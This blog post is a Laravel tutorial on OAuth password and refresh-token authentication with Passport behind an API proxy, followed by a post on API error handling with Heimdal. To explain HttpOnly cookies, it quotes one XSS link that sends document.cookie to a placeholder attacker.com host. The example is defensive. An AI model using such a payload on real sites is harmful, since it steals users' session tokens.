Esben Petersen

A modern REST API in Laravel 5 Part 4: Authentication using Laravel Passport

Sun, 19 Mar 2017 09:00:00 +0100

tl;dr

Laravel Passport is an implementation of The PHP League's OAuth Server
The password grant type can be used for username + password authentication
Remember to hide your client credentials by making the auth request in a proxy
Save the refresh token in a HttpOnly cookie to minimize the risk of XSS attacks

Introduction

OAuth is all around us. Most of us have tried to login to a 3rd party service using our Facebook or Google account as a login. This login mechanism is one of many OAuth authentication types. However, you can also use OAuth to generate simple API keys. One of the OAuth authentication types generates API keys based on username and password and is therefore a solid authentication choice for SaaS-style apps. This article will explore how to setup the password grant authentication type in Laravel using Laravel Passport.

Agenda

During this article we will explore topics such as...

Learn how authenticating an API with OAuth 2 works
How we can implement user-based authentication using Laravel Passport
How we can scope API requests to the current user

OAuth 2 authentication for dummies

There are a lot of good in-depth resources on OAuth and it's many use cases. For instance the official spec. If you have the time and the motivation go read it. A little bit too technical/time consuming for you? You have come to the right place.

The 2-minute introduction to OAuth grants

OAuth let's you authenticate using different methods - these methods are called grants. This article will not focus on all of them. Here is a quick run-down of the grants.

Grant type	Used for
Client Credentials	When two machines need to talk to each other, e.g. two APIs
Authorization Code	This is the flow that occurs when you login to a service using Facebook, Google, GitHub etc.
Implicit Grant	Similar to Authorization Code, but user-based. Has two distinct differences. Outside the scope of this article.
Password Grant	When users login using username+password. The focus of this article.
Refresh Grant	Used to generate a new token when the old one expires. Also the focus of this article.

I realize this is a simplification of the grants. If you want a more in-depth description I highly recommend either the official spec or the descriptions on The PHP League's OAuth 2 package website.

If you came here for a description on how to implement Client Credential, Authorization Code or Implicit Grants I hate to disappoint you. The focus point of this article is password grants and refresh grants. That being said you might learn a trick or two, so please do stick around :-)

How password+refresh authentication works

This article will describe how to create a typical SPA (single page application) style login flow using the password and refresh grants. This might seem daunting at first but it is actually pretty simple once get to know the concepts.

Step 1: User enters username + password

The first step of the password flow is that the user will enter username (or email) and password. The above image depicts how this looks at Traede.

Step 2. API will ask the authentication server if credentials are correct

The API sends the username and password to the OAuth server to check if the credentials are correct. Saying OAuth server sounds fancy but do not worry. This is probably just a library like Laravel Passport or another implementation of The PHP League's OAuth 2 package installed on your API server using Composer.

Step 3. Authentication will return an access token and a refresh token

The authentication server will return an access token and a refresh token. You send this to the user and the user stores it in a cookie, session storage or similar. Every time the user clicks something that interacts with the API this token will be attached to the request using the Authorization header. The API will look for users with that token, and check that the token is still valid (e.g. not expired). Voila! The API now know which user is requesting.

Step 4. Request a new token using the fresh token when the access token expires

Remember in step 3 that the authentication server sends both an access token and a refresh token? The access token is actually short lived, e.g. it is only valid for a short period of time. Usually they are only valid for something like 10 minutes. This is to increase security. When a token is only valid for 10 minutes it becomes difficult for a hacker to use it for anything useful if obtained.

When the token expires the user needs to refresh the token. After all who wants to be logged out every 10 minutes? The user sends a request to the API to refresh the access token. The refresh token is saved, encrypted in a HttpOnly cookie (more on this later). The authentication server checks if the user's refresh token is valid. If so, a new access token (and sometimes refresh token) is sent to the user. When the new access token expires step 4 is run again. And then again. And again. And so forth...

One last thing: there is something called clients

For now, the last OAuth concept I will introduce is that of clients.

Imagine you have an API. And that API powers a desktop application that runs in a browser, a native smartphone application and a native tablet application. All of these different applications are called clients.

In OAuth, when a user request an access token they request it for a specific client. That means a user can have a separate access token for each client (e.g. one for browser, one for smartphone, one for tablet).

There is one very important security aspect in regards to clients that not that many OAuth articles focus on but we will here: the authentication proxy.

Hide the client credentials in a proxy

For the OAuth server to know what client you are requesting a token for you have to send client credentials as well. Below is an example of how it would actually look in your API.

$accessTokenAndRefreshToken = $this->oAuthServer->checkUserCredentials([
  'client_id' => 'browser_app',
  'client_secret' => '1234',
  'username' => 'esben@esben.dk',
  'password' => '1234'
]);

Now you would be surprised if you knew how many people actually save the client credentials directly in their client application. For instance I have seen this in javascript apps.

var username = $('#username').val()
var password = $('#password').val()

$.post('/login', {
  client_id: 'browser_app',
  client_secret: '1234',
  username: username,
  password: password
})

This often occurs when the client directly requests authentication from the authentication server. The problem here is that the client credentials is stored in publicly available code (aka. the javascript code). Now anyone that browses your clients source can find your client credentials which is a security breach.

The client logs in directly from authentication server
======================================================
       User credentials
       Client credentials
Client -----------------> Auth server
       <-----------------
       Access token
       Refresh token

The client requests resources from the API
======================================================
       Access token
Client -----------------> API
       <-----------------
       Some resource

So what do we do instead? We introduce a proxy! Luckily since we are developing an API the API itself can be used as a proxy. Confused? Allow me to demonstrate using the example above.

The client logs in using the API which uses the auth server
===========================================================
                             Client credentials
       User credentials      User credentials
Client ----------------> API ------------------> Auth server
       <----------------     <------------------
       Access token          Access token
       Refresh token         Refresh token

The client requests resources from the API
======================================================
       Access token
Client -----------------> API
       <-----------------
       Some resource

Notice that now the client does not need to know about sensitive client credentials.

Implementing OAuth authorization using Laravel Passport

Okay, so now have all the concepts in order. Now let us get to the code. We want to create a login screen for our SPA so the user can authenticate themselves. Let us just quickly recap the flow.

We create a client in our OAuth server that represents our app
The user enters username + password in the login screen and sends it to the API
The API sends the username + password + client ID + client secret to the OAuth server
The API saves the refresh token in a HttpOnly cookie
The API sends the access token to the client
The client saves the access token in storage, for instance a browser app saves it in localStorage
The client requests something from the API attaching the access token to the request's Authorization header
The API sends the access token to the OAuth server for validation
The API sends the requested resource back to the client
When the access token expires the client request the API for a new token
The API sends the request token to the OAuth server for validation
If valid, steps 4-6 repeats

The reason why you should save the refresh token as a HttpOnly cookie is to prevent Cross-site scripting (XSS) attacks. The HttpOnly flag tells the browser that this cookie should not be accessible through javascript. If this flag was not set and your site let users post unfiltered HTML and javascript a malicious user could post something like this

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

Malicious code is shamelessly stolen from Wikipedia: HTTP cookie

Now when users click the link the attacker will gain their refresh token. That means that now they can generate access tokens and impersonate your user. Ouch!

Enough theory! Let us get on with the code.

Dependencies we are going to use

Since we are making a Laravel API it makes sense to use Laravel Passport. Laravel's OAuth implementation. It is important to know that Laravel Passport is pretty much just an Laravel integration into The PHP League's OAuth 2 package. Therefore, to learn the concepts on a more granular level I refer to that package instead of Laravel Passport.

PHP League's OAuth package issues JSON Web Token's (JWT). This is simply a way to structure tokens that includes some relevant meta data. For instance the token could include meta data as to whether or not this user is an admin.

Installation

For more detailed instructions you can always refer to Laravel Passport's documentation.

First install Passport using composer.

composer require laravel/passport

And add the service provider to config/app.php.

Laravel\Passport\PassportServiceProvider::class,

And migrate the tables.

php artisan migrate

When the authorization server returns tokens these are actually encrypted on the server using a 1024-bit RSA keys. Both the private and the public key will live in your storage/ out of sight. To generate the RSA keys run this command. The command will also create our password client.

php artisan passport:install

Remember to save your client secrets somewhere. I usually save them in my .env file.

PERSONAL_CLIENT_ID=1
PERSONAL_CLIENT_SECRET=mR7k7ITv4f7DJqkwtfEOythkUAsy4GJ622hPkxe6
PASSWORD_CLIENT_ID=2
PASSWORD_CLIENT_SECRET=FJWQRS3PQj6atM6fz5f6AtDboo59toGplcuUYrKL

The personal grant type is a special type of grant that issues tokens that do not expire. For instance when you issue access tokens from your GitHub account to be used in for instance Composer that is a personal grant access token. One that composer can use for perpetuity to request GitHub on your behalf.

Please refer to Laravel Passport's documentation for the following steps as they might change in the future.

You will need to add the Laravel\Passport\HasApiTokens trait to your user model. If you use my Laravel API fork all these next things are already done for you.

Next you need to run Passport::routes(); somewhere, preferably in a your AuthServiceProvider. Finally in config/auth.php set the driver property of the api authentication guard to passport. If your user model is NOT App\Users then you need to change the config in config/auth.php under providers.users.model.

If you have been following the article series or just use Larapi you should make sure the api guard is set in config/optimus.components.php under protection_middleware.

<?php

return [
    'namespaces' => [
        'Api' => base_path() . DIRECTORY_SEPARATOR . 'api',
        'Infrastructure' => base_path() . DIRECTORY_SEPARATOR . 'infrastructure'
    ],


    'protection_middleware' => [
        'auth:api' // <--- Checks for access token and logging in the user
    ],

    'resource_namespace' => 'resources',

    'language_folder_name' => 'lang',

    'view_folder_name' => 'views'
];

Configure Passport to issue short-lived tokens

Now Passport is pretty much installed. However, there is one important step. Remember how access tokens should be short-lived? Passport by default issues long-lived tokens (no, I do not know why). So we need to configure that. In the place where you ran Passport::routes(); (AuthServiceProvider or similar) put in the following configuration.

Passport::routes(function ($router) {
    $router->forAccessTokens();
    $router->forPersonalAccessTokens();
    $router->forTransientTokens();
});

Passport::tokensExpireIn(Carbon::now()->addMinutes(10));

Passport::refreshTokensExpireIn(Carbon::now()->addDays(10));

Also notice we replaced Passport::routes(); with a more granular configuration. This way we only create the routes that we need. forAccessTokens(); enable us to create access tokens. forPersonalAccessTokens(); enable us to create personal tokens although we will not use this in this article. Lastly, forTransientTokens(); creates the route for refreshing tokens.

This is my configuration. So an access token expires after 10 minutes and an refresh token expires after 10 days. However, in reality your user will probably not be logged out every 10 days since every refresh will generate a new refresh token as well (which again will have 10 days expiration).

What did we install?

If you run php artisan route:list you can see the new endpoints installed by Laravel Passport. I have extracted the ones we are going to focus on below.

| POST | oauth/token         | \Laravel\Passport\Http\Controllers\AccessTokenController@issueToken
| POST | oauth/token/refresh | \Laravel\Passport\Http\Controllers\TransientTokenController@refresh

These are the two routes that our proxy is going to request to generate access tokens. Notice, even though these two are publicly available they require the client ID and the client secret which is only known by our API. So it would be near impossible to request tokens outside of our flow.

Now let us install our own routes. This article will assume you have been following the previous articles and have a structure setup similar to my Laravel API fork.

Start by creating three new routes: POST /login, POST /login/refresh and POST /logout. And then add a new controller to Infrastructure\Auth\Controllers. Put the login and refresh routes in a public routes file (your user needs to be able to login without a valid access token). Put the login route in a protected routes file. This will ensure that we can identify the user and revoke his tokens.

Put the routes in infrastructure/Auth/routes_public.php.

<?php

$router->post('/login', 'LoginController@login');
$router->post('/login/refresh', 'LoginController@refresh');

Put this route in infrastructure/Auth/routes_protected.php.

<?php

$router->post('/logout', 'LoginController@logout');

Put the controller in infrastructure/Auth/Controllers/LoginController.php.

<?php

namespace Infrastructure\Auth\Controllers;

use Illuminate\Http\Request;
use Infrastructure\Auth\LoginProxy;
use Infrastructure\Auth\Requests\LoginRequest;
use Infrastructure\Http\Controller;

class LoginController extends Controller
{
    private $loginProxy;

    public function __construct(LoginProxy $loginProxy)
    {
        $this->loginProxy = $loginProxy;
    }

    public function login(LoginRequest $request)
    {
        $email = $request->get('email');
        $password = $request->get('password');

        return $this->response($this->loginProxy->attemptLogin($email, $password));
    }

    public function refresh(Request $request)
    {
        return $this->response($this->loginProxy->attemptRefresh());
    }

    public function logout()
    {
        $this->loginProxy->logout();

        return $this->response(null, 204);
    }
}

I also made a LoginRequest class and put it in infrastructure/Auth/Requests/LoginRequest.php.

<?php

namespace Infrastructure\Auth\Requests;

use Infrastructure\Http\ApiRequest;

class LoginRequest extends ApiRequest
{
    public function authorize()
    {
        return true;
    }

    public function rules()
    {
        return [
            'email'    => 'required|email',
            'password' => 'required'
        ];
    }
}

Now we have the structure setup to create access tokens for our users. All of this should seem pretty familiar to you. So let us move right along to the proxy class. Put this code in infrastructure/Auth/LoginProxy.php.

<?php

namespace Infrastructure\Auth;

use Illuminate\Foundation\Application;
use Infrastructure\Auth\Exceptions\InvalidCredentialsException;
use Api\Users\Repositories\UserRepository;

class LoginProxy
{
    const REFRESH_TOKEN = 'refreshToken';

    private $apiConsumer;

    private $auth;

    private $cookie;

    private $db;

    private $request;

    private $userRepository;

    public function __construct(Application $app, UserRepository $userRepository) {
        $this->userRepository = $userRepository;

        $this->apiConsumer = $app->make('apiconsumer');
        $this->auth = $app->make('auth');
        $this->cookie = $app->make('cookie');
        $this->db = $app->make('db');
        $this->request = $app->make('request');
    }

    /**
     * Attempt to create an access token using user credentials
     *
     * @param string $email
     * @param string $password
     */
    public function attemptLogin($email, $password)
    {
        $user = $this->userRepository->getWhere('email', $email)->first();

        if (!is_null($user)) {
            return $this->proxy('password', [
                'username' => $email,
                'password' => $password
            ]);
        }

        throw new InvalidCredentialsException();
    }

    /**
     * Attempt to refresh the access token used a refresh token that
     * has been saved in a cookie
     */
    public function attemptRefresh()
    {
        $refreshToken = $this->request->cookie(self::REFRESH_TOKEN);

        return $this->proxy('refresh_token', [
            'refresh_token' => $refreshToken
        ]);
    }

    /**
     * Proxy a request to the OAuth server.
     *
     * @param string $grantType what type of grant type should be proxied
     * @param array $data the data to send to the server
     */
    public function proxy($grantType, array $data = [])
    {
        $data = array_merge($data, [
            'client_id'     => env('PASSWORD_CLIENT_ID'),
            'client_secret' => env('PASSWORD_CLIENT_SECRET'),
            'grant_type'    => $grantType
        ]);

        $response = $this->apiConsumer->post('/oauth/token', $data);

        if (!$response->isSuccessful()) {
            throw new InvalidCredentialsException();
        }

        $data = json_decode($response->getContent());

        // Create a refresh token cookie
        $this->cookie->queue(
            self::REFRESH_TOKEN,
            $data->refresh_token,
            864000, // 10 days
            null,
            null,
            false,
            true // HttpOnly
        );

        return [
            'access_token' => $data->access_token,
            'expires_in' => $data->expires_in
        ];
    }

    /**
     * Logs out the user. We revoke access token and refresh token.
     * Also instruct the client to forget the refresh cookie.
     */
    public function logout()
    {
        $accessToken = $this->auth->user()->token();

        $refreshToken = $this->db
            ->table('oauth_refresh_tokens')
            ->where('access_token_id', $accessToken->id)
            ->update([
                'revoked' => true
            ]);

        $accessToken->revoke();

        $this->cookie->queue($this->cookie->forget(self::REFRESH_TOKEN));
    }
}

Quite the mouthful, I know. But the important code lives in proxy(). Let us take a closer look.

public function proxy($grantType, array $data = [])
{
    /*
    We take whatever passed data and add the client credentials
    that we saved earlier in .env. So when we refresh we send client
    credentials plus our refresh token, and when we use the password
    grant we pass the client credentials plus user credentials.
    */
    $data = array_merge($data, [
        'client_id'     => env('PASSWORD_CLIENT_ID'),
        'client_secret' => env('PASSWORD_CLIENT_SECRET'),
        'grant_type'    => $grantType
    ]);

    /*
    We use Optimus\ApiConsumer to make an "internal" API request.
    More on this below.
    */
    $response = $this->apiConsumer->post('/oauth/token', $data);

    /*
    If a token was not created, for whatever reason we throw
    a InvalidCredentialsException. This will return a 401
    status code to the client so that the user can take
    appropriate action.
    */
    if (!$response->isSuccessful()) {
        throw new InvalidCredentialsException();
    }

    $data = json_decode($response->getContent());

    /*
    We save the refresh token in a HttpOnly cookie. This
    will be attached to the response in the form of a
    Set-Cookie header. Now the client will have this cookie
    saved and can use it to request new access tokens when
    the old ones expire.
    */
    $this->cookie->queue(
        self::REFRESH_TOKEN,
        $data->refresh_token,
        864000, // 10 days
        null,
        null,
        false,
        true // HttpOnly
    );

    return [
        'access_token' => $data->access_token,
        'expires_in' => $data->expires_in
    ];
}

Internal API consumption with Optimus\ApiConsumer

One concept that is probably new for you here is that of $this->apiConsumer. This is one of my small libraries that you can use for making "internal" requests. The way it works is that it will use the Laravel router and "fake" that a request was made by the client. We can use this to call one of our own routes. Of course if your authorization server lives on another server, or if you prefer to make the request over the internet then you can replace this with an alternative mechanism such as Guzzle. You can check out one of my older articles for a Guzzle example.

The API consumer library is called Optimus\ApiConsumer and you can easily add it to Laravel through composer. You can also check out the source code here.

composer require optimus/api-consumer 0.2.*

You will also need to add a service provider to config/app.php.

Optimus\ApiConsumer\Provider\LaravelServiceProvider::class,

Testing that things work

Now we are ready to test that things are working. First you will need to add a user. Somewhere add this code and run it.

DB::table('users')->insert([
  'name' => 'Esben',
  'email' => 'esben@esben.dk',
  'password' => password_hash('1234', PASSWORD_BCRYPT)
]);

This should add a user for us to use for testing. Just remember to remove it again. There are a lot of ways for us to test. I prefer to do it quickly from the command line using cURL. Run the command below. Remember to switch the url to your own.

curl -X POST http://larapi.dev/login -b cookies.txt -c cookies.txt -D headers.txt -H 'Content-Type: application/json' -d '
    {
        "email": "esben@esben.dk",
        "password": "1234"
    }
'

If you get a response like the one below everything is working properly. If not, try to backtrack and see if you missed a step.

{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp0aSI6Ijc5Y2M4NDVjMGQ3YjZkYjcxMThjNjI3NDRhZTM0MzFkYzc3NTNkODEyNTFjNzFkM2M0MjgwMmVkMmE1ZmVmNDI1ZDk2ODUzOTNlZWIzNDE1In0.eyJhdWQiOiIyIiwianRpIjoiNzljYzg0NWMwZDdiNmRiNzExOGM2Mjc0NGFlMzQzMWRjNzc1M2Q4MTI1MWM3MWQzYzQyODAyZWQyYTVmZWY0MjVkOTY4NTM5M2VlYjM0MTUiLCJpYXQiOjE0ODk5MTQ4MjIsIm5iZiI6MTQ4OTkxNDgyMiwiZXhwIjoxNDg5OTE1NDIyLCJzdWIiOiIyIiwic2NvcGVzIjpbXX0.Se3rO03T9w93m31gSCy8O-FnCZP6FCoIUhU9AyY-Nl3ZZHciuPEP0NikPhrssIOa4-gLRk53j53S_j6Twv_PY_sRosCe2kDA0Qdao5zePV79M_sEvb9VOcbcRHSJMU0GcNo0Cs7B8gf8YDlArj5qKIkoOctO1r9SWcpoEqBl1nHPmueTCUotu3CWWB-LXPNTIMZk13B9misb3oq0n4PUqivAT73aSWLgVH_eJbvG8zxdumpZME_TgX_36YemDm3l_31PMczH9QRkRf86ShP2Ji6gbVZrFnbI5UFOXWEVDGSfl6FVa5NqDi9iqpKNc4WCossy9DlAGGYtKFsbNpMxULZWv7NevblnQ5j0SpbEo_ISSKzfrWELNNSj06KeG7Et8SudIhyTaLv4GIDBA5U-LQY-Z4XutlxVrlkmb2OmClp1SmTaMGK0Fqge3DuxnfurBH3rLrVeOa9OIYz_VUXu9SQhKdLEZyPX3uNO7Yuh5DhLrQ8INrwcYxN1dtg9GNpWqM9h4DJNZ3mPaoEgAGTzzCmXXJL1KF7_h5F2EVl2h0dbzQMZjdacjVvkL-oWLwEXjykpqano6xHUDaYp9Q7RID7ehNcUUwhir8035DnxBr8O3-TVT4QHVWJA-GMVXhpLdHrah2gbhEDfgSoGKuAQQW9KkqTsaC4DvIeYuuKGOB8","expires_in":600}

If you open headers.txt you can also see the refresh token being set as a HttpOnly cookie.

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.10
Cache-Control: no-cache, private
Date: Sun, 19 Mar 2017 09:13:42 GMT
Set-Cookie: refreshToken=eyJpdiI6InQyam9vSXRMenIxMFFWWVVDTUhlbFE9PSIsInZhbHVlIjoiTFF5ZkNlaWNJRmsxSEg4T01XZVN5Q3N3a3hmOTFpU012aFE3N2E4WTd0RXFJMjJNNzVLRTFPUWpKdk52THkyQzc0VFwvcnczaG5lcXR6ZW1BR05TcGMwWFZZZldoNzhHczJtRHhzSjhkVFVqVkQyWEVqUWpNeTdnd3plVDA3TW4wYituTHZHdW5jV01CWWJkZHA5b3V3TmJrZXZpaUhLcmhkTGdqb2lcLzZTb201bzJOaU1DTTdjbkxvZzRWK3lEOXpyMThmVGRPSmZFc09Jc2x1cGV1RmIrVEdSa1RFb1BhSmtTMTRtMXVGMzdkTkRsXC9oOW45TWZNaVB0aHZ3ZTNVUmN0UHpqaVdSS0hHTUhkYk1vOFZvY2IrUHlvb202cHkxekd2N0UxNnlqeVNDV2pGdjc5eEV5WEFzTGxJNHZlSDk2UFhmdTNoTUs2OGtqSk1UZjE1WTBrUzIxazRFSEtTMnB3Y1ZUdGxqRjZ0bDQ5RUIwMFwvM2h4SG0xbk9OZlQwNFFzUnpURTlrSGxXVGhOaUp4amxyN0cxcGVXdlhrNUhXMldjSnNMZ3hVS0ZUV1A3V1Y5K0pOYnJ5VTVQM2p1clF1T052WFl2Yko4YnJUMmdZV1wvb1pUVnVsMUVwOXpFSWRPS0crTmEwa3MrQXlGYUptYnl0K01WbHZxcGFLUW1NemdMbk54Mjg0dkRFMldNTjF0bGVVNmE0MVlYNXk3V3N3dU8rRmVCN0cxNkYzSWJ0UkNpbWZlTTh1R1RJQTc5SnNKcWNrY0tcL2dmTmNiTFJnTjM3WTJpdzhUdGRmb3R2XC9qYlwvVURyWVFiXC9SN2VKOVNLMGVYWStsdTlHaGkxc01ndmlwM1lnYVBjK2wzMERadVdDRGw3Tjk1c0EzNHlZYXhxVlYzZ3N0SUlKUG5aSHB5SjZlREJIamhQb2loeUduNTBlWkJ0SFgzYitTNHpwbTZMNHVwMnZZUnN1K3JtZlpGM0ZrRjc0TVRHR2dxTFNXVnRTbHJhK2Vyc2NxOEorZDloa3dcL1VcL2F1c1lFVXRudW81Uk1vM0tTcU1BVE5LRE5xeHBrNmR3WTRUSFV2MnFncWZ3WHNwdko5NmRZRnU1XC9RemxzTkVsUmZicXB1SThqbE41TFdtMVQyNE1EY0FWN0g4N0grNGExeWlHZGlYZ2hEXC9WUkh2cFVucTFIT1JcL3hsYXR3eWU3UGJFZGprT24yZ29RbG5hSnUxXC81OXZmdFdwZnIzUEFHXC9qcXdTRT0iLCJtYWMiOiI3MTc3MzVhYjg2MDAyY2MwMDQ1MmUxOWQ2OTcxYzFjYWI3ZDMwZjNkZDMwM2UyY2NhZjE0MzA3MDBmYzdiZWZhIn0%3D; expires=Fri, 09-Nov-2018 09:13:42 GMT; Max-Age=51840000; path=/; HttpOnly
X-UA-Compatible: IE=Edge

Because we use the -c and -b flags we will save and use cookies between requests, just like a browser. So we can actually try to refresh our token using the refresh token by running the command below.

curl -X POST http://larapi.dev/login/refresh -b cookies.txt -c cookies.txt

If you get a new access token that means this worked as well. Lastly, we can try to run logout.

curl -X POST http://larapi.dev/logout -b cookies.txt -c cookies.txt

Now, if you run the refresh command you should get a 401 Unauthorized response.

Scoping user requests to entities belonging to requesting user

So now that we got it all working, how do we using it? Well if you added the auth:api guard to config/optimus.components.php all of your protected routes will now check for a valid access token. If no valid access token was found in the Authorization header of the request Laravel will automatically return a 401 response. What is even more nifty is that Passport will automatically resolve the user model when requesting using the password grant. This means you can access the current user using the AuthManager or the Auth facade.

Imagine you were making the next billion dollar start-up. Let us say you were making the next Slack competitor. Whenever a user logs into a chat room it should display all the channels belonging to that chatroom. So imagine the following relationship.

Chat Room 1 -------> n Users
Chat Room 1 -------> n Channels

To fill out the left navigation we have to request all the channels belonging to the Traede team when the user logs in. Imagine we have the endpoint GET /channels and that will just get all the channels appropriate for the user. Now the code below is an arbitrary, made-up example but it should demonstrate how one might go about scoping requests based on the current user.

<?php

namespace Api\ChatRooms\Services;

use Api\ChatRooms\Repositories\ChannelRepository;
use Illuminate\Auth\AuthManager;

class ChatRoomService
{
    private $auth;

    private $channelRepository;

    public function __construct(AuthManager $auth, ChannelRepository $channelRepository)
    {
        $this->auth = $auth;
        $this->channelRepository = $channelRepository;
    }

    public function getChannels()
    {
        $user = $this->auth->user();

        $channels = $this->channelRepository->getWhere('chatroom_id', $user->chatroom_id);

        return $channels;
    }
}

Now we can have multiple chatrooms on the same API, using the same database. Every user will get a different response to GET /channels. This was just a small example of how you use the user context to scope your API requests.

Conclusion

This last example will also conclude this article on how to implement authentication for your API. By using Laravel Passport we easily install a robust authentication solution for our API. Using a proxy and HttpOnly cookies we increase the security of our solution.

Do not forget to further study the principles of OAuth for the best possible setup. Especially remember that the OAuth 2 spec assumes by default that there is a secure connection between the server and the client!

The full code to this article can be found here: larapi-part-4

All of these ideas and libraries are new and underdeveloped. Are you interested in helping out? Reach out on e-mail, twitter or the Larapi repository

A modern REST API in Laravel 5 Part 3: Error handling

Sat, 14 Jan 2017 07:19:00 +0100

tl;dr

Install optimus/heimdal to get an extensive exception handler for your Laravel API with Sentry integration.

The full code to this article can be found here: larapi-part-3

Introduction

Error handling is often an overlooked element of development, unfortunately. Luckily, this article will take you through the basics of API error handling. We will also install the API exception handler for Laravel Heimdal which will quickly give us an awesome API exception handler with Sentry integration out of the box.

Agenda

In this article I will take you through...

A general introduction to how to do error handling in an API
Show you how to customize how different errors are formatted using Heimdal
Show you how to log your errors in external trackers using reporters

Let's do this.

API error handling crash course

If you are already an avid Laravel user you will now that the classic way Laravel handles errors are by rendering a certain view based on the error severity. A 404 exeption? Show the 404.blade.php page. A 5xx error? Show the stack trace exception page in development mode and a production message in production environments.

This is all great but the way we do it in APIs is a bit different. You will soon discover that status codes have great meaning when dealing with APIs. The clients that consume our API will most likely run behaviour based on the status code returned by our API. Imagine a user tries to submit a form but Laravel throws a validation error (status code 422). The client will start parsing the response by reading that this is a 422 response. Therefore the client knows this is an error caused by the data sent to the API (because 4xx errors are client errors, while 5xx errors are caused by the server). A 422 typically means a validation error, so we take the response (probably validation error messages) and parse them through our validation error flow (show the validation error messages to the user).

User ------> Submits form ------> Data ------> API
 ^                                              |
 |                                              v
Fix error                                 Validation error
 ^                                              |
 |                                              v
Show error to user <---- Client <----- 422 response

Notice the difference here is that normally the user sees a 404 page or similar and determines the corresponding action by reading the view. When consuming APIs it is typically the computer that has to "see" the response and determine the corresponding action. If we showed a 404 page to the computer how would it know how to react? This is why getting the status codes right is so important.

User --------> Request resource --------> API
  ^                                        |
  |                                        v
Login                                 Unauthorized User
  ^                                        |
  |                                        v
Redirect to login <---- Client <----- 401 response

So what are some typical uses of HTTP statuses in APIs? Look no further than the table below.

Code	Name	What does it mean?
401	Unauthorized	You are not logged in, e.g. using a valid access token
403	Forbidden	You are authenticated but do not have access to what you are trying to do
404	Not found	The resource you are requesting does not exist
405	Method not allowed	The request type is not allowed, e.g. `/users` is a resource and `POST /users` is a valid action but `PUT /users` is not.
422	Unprocessable entity	The request and the format is valid, however the request was unable to process. For instance when sent data does not pass validation tests.
500	Server error	An error occured on the server which was not the consumer's fault.

This was by no means an exhaustive list. There are more status codes but these were all general ones to give you an idea of what you typically work with. Curious for more? Here is a great overview of HTTP status codes.

So now that we know what status codes to use, how should we go about formatting our response? Well, there are a lot of opinions on that. Many times it could just be an empty response.

HTTP/1.0 401 Unauthorized
Content-Type: application/json
{}

HTTP/1.0 403 Forbidden
Content-Type: application/json
{}

HTTP/1.0 405 Method not allowed
Content-Type: application/json
{}

Albeit not very helpful these are all valid responses. The client should be able to perform a corresponding action based on these responses, e.g. redirection.

At Traede we have access control using users, roles and permissions. Sometimes it is beneficial to show an user an action they are not allowed to perform. In such cases when they try to perform the action we will display a modal saying "You do not have access to viewing this customer's orders" or similar. To actually know what the user is not allowed to do we have to get the missing permissions from the request. Therefore, our 403 responses are formatted somewhat like this.

HTTP/1.0 403 Forbidden
Content-Type: application/json
{"error":true","missing_permissions":[{"permission":"orders:read","description":"customer's orders"}]}

So now our client has some useful information that it can display the user. So maybe, if this was an employee with limited access he can request access from someone who can give it to him.

Standardizing error responses with JSON API

The JSON API specification is one of several specifications discussing a standardized API design. Other examples include Microsoft's API guidelines and Heroku's HTTP API design. For the remainder of this article we will focus solely on JSON API. Not saying this is the "best".

The only requirement for JSON API errors is that each object is in an array keyed by errors. Then there is a list of members you can put in each error object. None are required. You can see the exhaustive list here.

As an example imagine we try to create an user using POST /users. Let us say two validation errors occur: (1) the email is not an valid email and the password is not long enough. Using JSON API we could return this using this JSON object.

{
  "errors": [
    {
      "status": "422",
      "code": "110001",
      "title": "Validation error",
      "detail": "The email esben@petersendk is not an valid email."
    },
    {
      "status": "422",
      "code": "110002",
      "title": "Validation error",
      "detail": "The password has to be at least 8 characters long, you entered 7."
    }
  ]
}

HTTP/1.0 422 Unprocessable entity
Content-Type: application/json
{"errors":[{"status":"422","code":"110001","title":"Validation error","detail":"The email esben@petersendk is not an valid email."},{"status":"422","code":"110002","title":"Validation error","detail":"The password has to be at least 8 characters long, you entered 7."}]}

The client can easily display these to the user so that inputs can be changed.

Alright, this was a crash course to error handling. Let us look at some implementation!

Implementing Heimdal, the API exception handler for Laravel

At Traede we use Heimdal an API exception handler for APIs. It is easily installable using the guide in the README. The rest of this guide will assume you have installed it. PRO tip: My Laravel API fork already comes with Heimdal installed.

Alright, so Heimdal is installed and the config file optimus.heimdal.php has been published to our configuration directory. It already comes with sensible defaults as how to format ones errors. Let us take a look.

'formatters' => [
    SymfonyException\UnprocessableEntityHttpException::class => Formatters\UnprocessableEntityHttpExceptionFormatter::class,
    SymfonyException\HttpException::class => Formatters\HttpExceptionFormatter::class,
    Exception::class => Formatters\ExceptionFormatter::class,
],

So the way this works is that the higher the exception is, the higher the priority. So if an UnprocessableEntityHttpException (validation error) is thrown then it will be formatted using the UnprocessableEntityHttpExceptionFormatter. However, if an UnauthorizedHttpException is thrown there is no special formatter so it will be passed down through the formatters array until it hits a relevant formatter.

The UnauthorizedHttpException is a Symfony Http Exception is a subclass of HttpException and will therefore be caught by this line.

SymfonyException\HttpException::class => Formatters\HttpExceptionFormatter::class,

Let us assume the error that occurs is an server error (500). Imagine PHP throws an InvalidArgumentException. This is not a subclass of HttpException but is a subclass of Exception and will therefore be caught by the last line.

Exception::class => Formatters\ExceptionFormatter::class

So it will be formatted using ExceptionFormatter. Let us take a quick look at what it does.

<?php

namespace Optimus\Heimdal\Formatters;

use Exception;
use Illuminate\Http\JsonResponse;
use Optimus\Heimdal\Formatters\BaseFormatter;

class ExceptionFormatter extends BaseFormatter
{
    public function format(JsonResponse $response, Exception $e, array $reporterResponses)
    {
        $response->setStatusCode(500);
        $data = $response->getData(true);

        if ($this->debug) {
            $data = array_merge($data, [
                'code'   => $e->getCode(),
                'message'   => $e->getMessage(),
                'exception' => (string) $e,
                'line'   => $e->getLine(),
                'file'   => $e->getFile()
            ]);
        } else {
            $data['message'] = $this->config['server_error_production'];
        }

        $response->setData($data);
    }
}

Alright so when we are working in a development environment the returned error will just be the information available in the Exception: line number, file and so forth. When we are in a production environment we do not wish to display this kind of information to the user so we just return a special Heimdal configuration key server_error_production. This defaults to "An error occurred".

Debug environment

HTTP/1.0 500 Internal server error
Content-Type: application/json
{"status":"error","code":0,"message":"","exception":"InvalidArgumentException in [stack trace]","line":4,"file":"[file]"}

Production environment

HTTP/1.0 500 Internal server error
Content-Type: application/json
{"message":"An error occurred"}
